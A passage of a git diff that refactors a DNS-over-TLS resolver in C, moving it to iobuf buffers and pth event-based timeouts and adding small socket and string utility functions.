-		if (dot_msg_len + ctx->write_cnt_len <= sizeof(ctx->write_buf)) {
+		if (dot_msg_len + ctx->iobuf[1].len <= ctx->iobuf[1].avail) {
 			qid = resolv_next_qid(ctx);
 			if (qid == 0) {
 				qent->fut.qr = PRNE_RESOLV_QR_ERR;
@@ -969,12 +986,13 @@ static bool resolv_send_dns_msgs (prne_resolv_t *ctx) {
 			else {
 				cur = prne_llist_erase(&ctx->qlist, cur);
 
-				ctx->write_buf[ctx->write_cnt_len + 0] = (uint8_t)((dns_msg_len & 0xFF00) >> 8);
-				ctx->write_buf[ctx->write_cnt_len + 1] = (uint8_t)(dns_msg_len & 0x00FF);
+				ctx->iobuf[1].m[ctx->iobuf[1].len + 0] =
+					prne_getmsb16(dns_msg_len, 0);
+				ctx->iobuf[1].m[ctx->iobuf[1].len + 1] =
+					prne_getmsb16(dns_msg_len, 1);
 				qent->qid = qid;
-				resolv_write_dns_msg(qent, ctx->write_buf + ctx->write_cnt_len + 2);
-
-				ctx->write_cnt_len += dot_msg_len;
+				resolv_write_dns_msg(qent, ctx->iobuf[1].m + ctx->iobuf[1].len + 2);
+				prne_iobuf_shift(ctx->iobuf + 1, dot_msg_len);
 				ret |= true;
 			}
 		}
@@ -1014,15 +1032,14 @@ static void resolv_proc_q (prne_resolv_t *ctx) {
 	* The server could be sending gibberish response messages that look legit.
 	* Timeout the loop when we don't receive response we recognise in time.
 	*/
-	struct timespec last_proc, now, delta, op_rem;
+	pth_event_t ev = NULL;
 
 LOOP:
-	last_proc = prne_gettime(CLOCK_MONOTONIC);
 	proc = false;
 	while (ctx->qlist.size > 0 || ctx->qid_map.size > 0) {
 		resolv_proc_expired(ctx);
 
-		if (ctx->write_cnt_len > 0 || ctx->qid_map.size < RESOLV_PIPELINE_SIZE) {
+		if (ctx->iobuf[1].len > 0 || ctx->qid_map.size < RESOLV_PIPELINE_SIZE) {
 			pfd_events = POLLIN | POLLOUT;
 		}
 		else {
@@ -1033,22 +1050,22 @@ LOOP:
 			goto LOOP;
 		}
 
-		now = prne_gettime(CLOCK_MONOTONIC);
-		if (proc) {
-			last_proc = now;
+		if (proc || ev == NULL) {
+			pth_event_free(ev, FALSE);
+			ev = pth_event(
+				PTH_EVENT_TIME,
+				prne_pth_tstimeout(RESOLV_SCK_OP_TIMEOUT));
 		}
 		proc = false;
-		delta = prne_sub_timespec(now, last_proc);
-		if (prne_cmp_timespec(delta, RESOLV_SCK_OP_TIMEOUT) >= 0) {
-			resolv_close_sck(ctx, NULL, true);
-			goto LOOP;
-		}
 
-		op_rem = prne_sub_timespec(RESOLV_SCK_OP_TIMEOUT, delta);
 		ctx->act_sck_pfd.events = pfd_events;
-		pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &op_rem);
+		prne_assert(ev != NULL); // fatal without timeout
+		pollret = pth_poll_ev(&ctx->act_sck_pfd, 1, -1, ev);
 
-		if (pollret > 0) {
+		if (pth_event_status(ev) != PTH_STATUS_PENDING) {
+			resolv_close_sck(ctx, NULL, true);
+		}
+		else if (pollret > 0) {
 			if (ctx->act_sck_pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) {
 				resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
 				goto LOOP;
@@ -1057,25 +1074,32 @@ LOOP:
 				size_t pos, msg_len;
 				bool err_flag = false;
 
-				ret = mbedtls_ssl_read(&ctx->ssl.ctx, ctx->read_buf + ctx->read_cnt_len, sizeof(ctx->read_buf) - ctx->read_cnt_len);
+				ret = mbedtls_ssl_read(
+					&ctx->ssl.ctx,
+					ctx->iobuf[0].m + ctx->iobuf[0].len,
+					ctx->iobuf[0].avail);
 				if (ret <= 0) {
 					// we don't renegotiate with terrorists.
 					resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
 					goto LOOP;
 				}
-				ctx->read_cnt_len += (size_t)ret;
+				prne_iobuf_shift(&ctx->iobuf[0], ret);
 
 				pos = 0;
 				while (true) {
-					if (pos + 1 >= ctx->read_cnt_len) {
+					if (pos + 1 >= ctx->iobuf[0].len) {
 						break;
 					}
-					msg_len = ((size_t)ctx->read_buf[pos] << 8) | (size_t)ctx->read_buf[pos + 1];
+					msg_len = prne_recmb_msb16(
+						ctx->iobuf[0].m[pos],
+						ctx->iobuf[0].m[pos + 1]);
 					if (msg_len > 512) { // unimplemented.
 						prne_dbgpf("* [resolv_wkr] Protocol error: received %zu bytes long msg. Dropping connection!\n", msg_len);
 						// try to get qid
-						if (ctx->read_cnt_len > pos + 4) {
-							const uint16_t qid = ((uint_fast16_t)ctx->read_buf[pos + 2] << 8) | (uint_fast16_t)ctx->read_buf[pos + 3];
+						if (ctx->iobuf[0].len > pos + 4) {
+							const uint16_t qid = prne_recmb_msb16(
+								ctx->iobuf[0].m[pos + 2],
+								ctx->iobuf[0].m[pos + 3]);
 							const prne_imap_tuple_t *tpl = prne_imap_lookup(&ctx->qid_map, qid);
 
 							if (tpl->val != NULL) {
@@ -1088,80 +1112,60 @@ LOOP:
 						resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
 						goto LOOP;
 					}
-					if (pos + 1 + msg_len >= ctx->read_cnt_len) {
+					if (pos + 1 + msg_len >= ctx->iobuf[0].len) {
 						break;
 					}
 
-					proc |= resolv_proc_dns_msg(ctx, ctx->read_buf + pos + 2, msg_len, &err_flag);
+					proc |= resolv_proc_dns_msg(ctx, ctx->iobuf[0].m + pos + 2, msg_len, &err_flag);
 					if (err_flag) {
 						resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
 						goto LOOP;
 					}
 					pos += 2 + msg_len;
 				}
-				if (pos > 0) {
-					memmove(ctx->read_buf, ctx->read_buf + pos, ctx->read_cnt_len - pos);
-					ctx->read_cnt_len -= pos;
-				}
+
+				prne_iobuf_shift(&ctx->iobuf[0], -pos);
 			}
 
-			if ((ctx->act_sck_pfd.revents & POLLOUT) && ctx->write_cnt_len > 0) {
-				ret = mbedtls_ssl_write(&ctx->ssl.ctx, ctx->write_buf, ctx->write_cnt_len);
+			if ((ctx->act_sck_pfd.revents & POLLOUT) && ctx->iobuf[1].len > 0) {
+				ret = mbedtls_ssl_write(
+					&ctx->ssl.ctx,
+					ctx->iobuf[1].m,
+					ctx->iobuf[1].len);
 				if (ret <= 0) {
 					// we don't renegotiate with terrorists.
 					resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
 					goto LOOP;
 				}
-
-				memmove(ctx->write_buf, ctx->write_buf + (size_t)ret, ctx->write_cnt_len - (size_t)ret);
-				ctx->write_cnt_len -= (size_t)ret;
+				prne_iobuf_shift(&ctx->iobuf[1], -ret);
 			}
-			if (ctx->write_cnt_len == 0) {
+
+			if (ctx->iobuf[1].len == 0) {
 				proc |= resolv_send_dns_msgs(ctx);
 			}
 		}
-		else if (pollret == 0) {
-			resolv_close_sck(ctx, NULL, true);
-		}
 		else {
 			resolv_close_sck(ctx, &RESOLV_RSRC_ERR_PAUSE, true);
 		}
 	}
+
+	pth_event_free(ev, FALSE);
 }
 
 static void resolv_proc_close (prne_resolv_t *ctx) {
-	int pollret;
+	pth_event_t ev = pth_event(
+		PTH_EVENT_TIME,
+		prne_pth_tstimeout(RESOLV_SCK_CLOSE_TIMEOUT));
+	bool ret;
 
-	do {
-		switch (mbedtls_ssl_close_notify(&ctx->ssl.ctx)) {
-		case MBEDTLS_ERR_SSL_WANT_READ:
-			ctx->act_sck_pfd.events = POLLIN;
-			break;
-		case MBEDTLS_ERR_SSL_WANT_WRITE:
-			ctx->act_sck_pfd.events = POLLOUT;
-			break;
-		case 0:
-			resolv_close_sck(ctx, NULL, false);
-			return;
-		default:
-			resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
-			return;
-		}
+	ret = prne_mbedtls_pth_handle(
+		&ctx->ssl.ctx,
+		mbedtls_ssl_close_notify,
+		ctx->act_sck_pfd.fd,
+		ev);
+	resolv_close_sck(ctx, ret ? NULL : &RESOLV_CONN_ERR_PAUSE, !ret);
 
-		pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &RESOLV_SCK_CLOSE_TIMEOUT);
-		if (pollret < 0) {
-			resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
-			return;
-		}
-		else if (pollret == 0) {
-			resolv_close_sck(ctx, NULL, true);
-			return;
-		}
-		else if (ctx->act_sck_pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) {
-			resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
-			return;
-		}
-	} while (true);
+	pth_event_free(ev, FALSE);
 }
 
 static void resolv_wkr_free (void *p) {
@@ -1177,6 +1181,8 @@ static void resolv_wkr_free (void *p) {
 	prne_free_imap(&ctx->qid_map);
 	mbedtls_ssl_config_free(&ctx->ssl.conf);
 	mbedtls_ssl_free(&ctx->ssl.ctx);
+	prne_free_iobuf(ctx->iobuf + 0);
+	prne_free_iobuf(ctx->iobuf + 1);
 
 	prne_close(ctx->act_sck_pfd.fd);
 	prne_free(ctx);
@@ -1186,8 +1192,8 @@ static void resolv_wkr_fin (void *p) {
 	DECL_CTX_PTR(p);
 	prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL));
 	ctx->ctx_state = RESOLV_CTX_STATE_FIN_CALLED;
-	pth_cond_notify(&ctx->cond, FALSE);
-	prne_assert(pth_mutex_release(&ctx->lock));
+	prne_assert(pth_cond_notify(&ctx->cond, FALSE));
+	pth_mutex_release(&ctx->lock);
 }
 
 static void *resolv_wkr_entry (void *p) {
@@ -1212,8 +1218,8 @@ static void *resolv_wkr_entry (void *p) {
 			pth_cond_await(&ctx->cond, &ctx->lock, ev);
 
 			if (ev != NULL) {
-				sck_close = pth_event_occurred(ev) != 0;
-				pth_event_free(ev, PTH_FREE_ALL);
+				sck_close = pth_event_status(ev) != PTH_STATUS_PENDING;
+				pth_event_free(ev, FALSE);
 			}
 		}
 		prne_assert(pth_mutex_release(&ctx->lock));
@@ -1235,7 +1241,11 @@ static void *resolv_wkr_entry (void *p) {
 prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg, const prne_resolv_ns_pool_t pool_v4, const prne_resolv_ns_pool_t pool_v6) {
 	prne_resolv_t *ctx = NULL;
 
-	if (wkr == NULL || ctr_drbg == NULL) {
+	if (wkr == NULL ||
+		ctr_drbg == NULL ||
+		pool_v4.cnt == 0 ||
+		pool_v6.cnt == 0)
+	{
 		errno = EINVAL;
 		return NULL;
 	}
@@ -1244,8 +1254,18 @@ prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *
 	if (ctx == NULL) {
 		return NULL;
 	}
-	ctx->read_cnt_len = 0;
-	ctx->write_cnt_len = 0;
+	prne_init_iobuf(ctx->iobuf + 0);
+	prne_init_iobuf(ctx->iobuf + 1);
+	prne_iobuf_setextbuf(
+		ctx->iobuf + 0,
+		ctx->m_buf[0],
+		sizeof(ctx->m_buf[0]),
+		0);
+	prne_iobuf_setextbuf(
+		ctx->iobuf + 1,
+		ctx->m_buf[1],
+		sizeof(ctx->m_buf[1]),
+		0);
 	ctx->act_sck_pfd.fd = -1;
 	ctx->ctx_state = RESOLV_CTX_STATE_OK;
 	ctx->ssl.ctr_drbg = ctr_drbg;
@@ -1356,10 +1376,15 @@ bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt) {
 
 	ny = prne_realloc(pool->ownership ? pool->arr : NULL, sizeof(prne_net_endpoint_t), cnt);
 	if (ny != NULL) {
+		if (!pool->ownership) {
+			memcpy(
+				ny,
+				pool->arr,
+				prne_op_min(pool->cnt, cnt) * sizeof(prne_net_endpoint_t));
+		}
 		pool->arr = (prne_net_endpoint_t*)ny;
 		pool->cnt = cnt;
 		pool->ownership = true;
-		memzero(pool->arr, cnt * sizeof(prne_net_endpoint_t));
 
 		return true;
 	}
@@ -1367,6 +1392,12 @@ bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt) {
 	return false;
 }
 
+prne_resolv_ns_pool_t prne_resolv_own_ns_pool(const prne_resolv_ns_pool_t *pool, const bool ownership) {
+	prne_resolv_ns_pool_t ret = *pool;
+	ret.ownership = ownership;
+	return ret;
+}
+
 void prne_resolv_init_prm (prne_resolv_prm_t *prm) {
 	prm->ctx = NULL;
 	prm->fut = NULL;
diff --git a/src/resolv.h b/src/resolv.h
index 44a2be8..71e4958 100644
--- a/src/resolv.h
+++ b/src/resolv.h
@@ -154,6 +154,7 @@ bool prne_resolv_prm_gettxtrec (prne_resolv_t *ctx, const char *name, prne_pth_c
 void prne_resolv_init_ns_pool (prne_resolv_ns_pool_t *pool);
 void prne_resolv_free_ns_pool (prne_resolv_ns_pool_t *pool);
 bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt);
+prne_resolv_ns_pool_t prne_resolv_own_ns_pool(const prne_resolv_ns_pool_t *pool, const bool ownership);
 void prne_resolv_init_prm (prne_resolv_prm_t *prm);
 void prne_resolv_free_prm (prne_resolv_prm_t *prm);
 void prne_init_resolv_fut (prne_resolv_fut_t *fut);
diff --git a/src/util_ct.h b/src/util_ct.h
index 16d4157..ad8118f 100644
--- a/src/util_ct.h
+++ b/src/util_ct.h
@@ -16,10 +16,6 @@
 #define prne_salign_next(x, align) (((x) % (align) == 0) ? (x) : ((x) / (align) + 1) * (align))
 #define prne_salign_at(x, align) (((x) % (align) == 0) ? (x) : ((x) / (align)) * (align))
 
-#if !defined(memzero)
-#define memzero(addr, len) memset((addr), 0, (len))
-#endif
-
 #ifdef PRNE_DEBUG
 #define prne_dbgpf(...) fprintf(stderr, __VA_ARGS__)
 #define prne_dbgperr(str) perror(str)
@@ -33,6 +29,7 @@
 	}
 #define prne_dbgast(expr) prne_assert(expr)
 #define prne_dbgmast(expr, ...) prne_massert(expr, __VA_ARGS__)
+#define prne_dbgtrap(expr) prne_assert(expr)
 #else
 #define prne_dbgpf(...)
 #define prne_dbgperr(str)
@@ -43,4 +40,5 @@
 #define prne_massert(expr, ...) prne_assert(expr)
 #define prne_dbgast(expr)
 #define prne_dbgmast(expr, ...)
+#define prne_dbgtrap(expr) (expr)
 #endif
diff --git a/src/util_rt.c b/src/util_rt.c
index 8a1e61b..24e924d 100644
--- a/src/util_rt.c
+++ b/src/util_rt.c
@@ -29,6 +29,31 @@ void prne_shutdown (const int fd, const int how) {
 	}
 }
 
+bool prne_sck_fcntl (const int fd) {
+	fcntl(fd, F_SETFD, FD_CLOEXEC);
+	return fcntl(fd, F_SETFL, O_NONBLOCK) == 0;
+}
+
+int prne_chfd (const int old, const int ny) {
+	int ret;
+
+	if (old == ny) {
+		return old;
+	}
+
+	ret = dup2(old, ny);
+	if (ret < 0) {
+		return ret;
+	}
+	close(old);
+
+	return ret;
+}
+
+void prne_memzero(void *addr, const size_t len) {
+	memset(addr, 0, len);
+}
+
 void *prne_malloc (const size_t se, const size_t cnt) {
 	size_t size;
 
@@ -164,6 +189,12 @@ size_t prne_str_shift_spaces (char *str, const size_t len) {
 	return ret;
 }
 
+void prne_transstr (char *str,  int(*trans_f)(int)) {
+	for (; *str != 0; str += 1) {
+		*str = (char)trans_f(*str);
+	}
+}
+
 bool prne_hex_fromstr (const char *str, uint_fast8_t *out) {
 	static const uint_fast8_t shift[2] = { 4, 0 };
 	size_t i;
diff --git a/src/util_rt.h b/src/util_rt.h
index a9fb39b..f44e4ae 100644
--- a/src/util_rt.h
+++ b/src/util_rt.h
@@ -11,21 +11,17 @@
 #include <mbedtls/ctr_drbg.h>
 
 
-#if 0
-bool prne_strendsw (const char *str, const char *w) {
-	const size_t len_str = strlen(str);
-	const size_t len_w = strlen(w);
-
-	if (len_str < len_w) {
-		return false;
-	}
-	return strcmp(str + (len_str - len_w), w) == 0;
-}
-#endif
-
 void prne_empty_func (void);
 void prne_close (const int fd);
 void prne_shutdown (const int fd, const int how);
+/* prne_sck_fcntl(fd)
+*
+* Sets FD_CLOEXEC and O_NONBLOCK. Failure to set FD_CLOEXEC is ignored.
+*/
+bool prne_sck_fcntl (const int fd);
+int prne_chfd (const int old, const int ny);
+
+void prne_memzero(void *addr, const size_t len);
 
 void *prne_malloc (const size_t se, const size_t cnt);
 void *prne_realloc (void *ptr, const size_t se, const size_t cnt);
@@ -39,6 +35,7 @@ size_t prne_nstrlen (const char *s);
 void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len);
 char *prne_strnchr (const char *p, const char c, const size_t n);
 size_t prne_str_shift_spaces (char *str, const size_t len);
+void prne_transstr (char *str,  int(*trans_f)(int));
 
 bool prne_hex_fromstr (const char *str, uint_fast8_t *out);
 void prne_hex_tochar (const uint_fast8_t in, char *out, const bool upper);
-- 
cgit v1.2.3-70-g09d2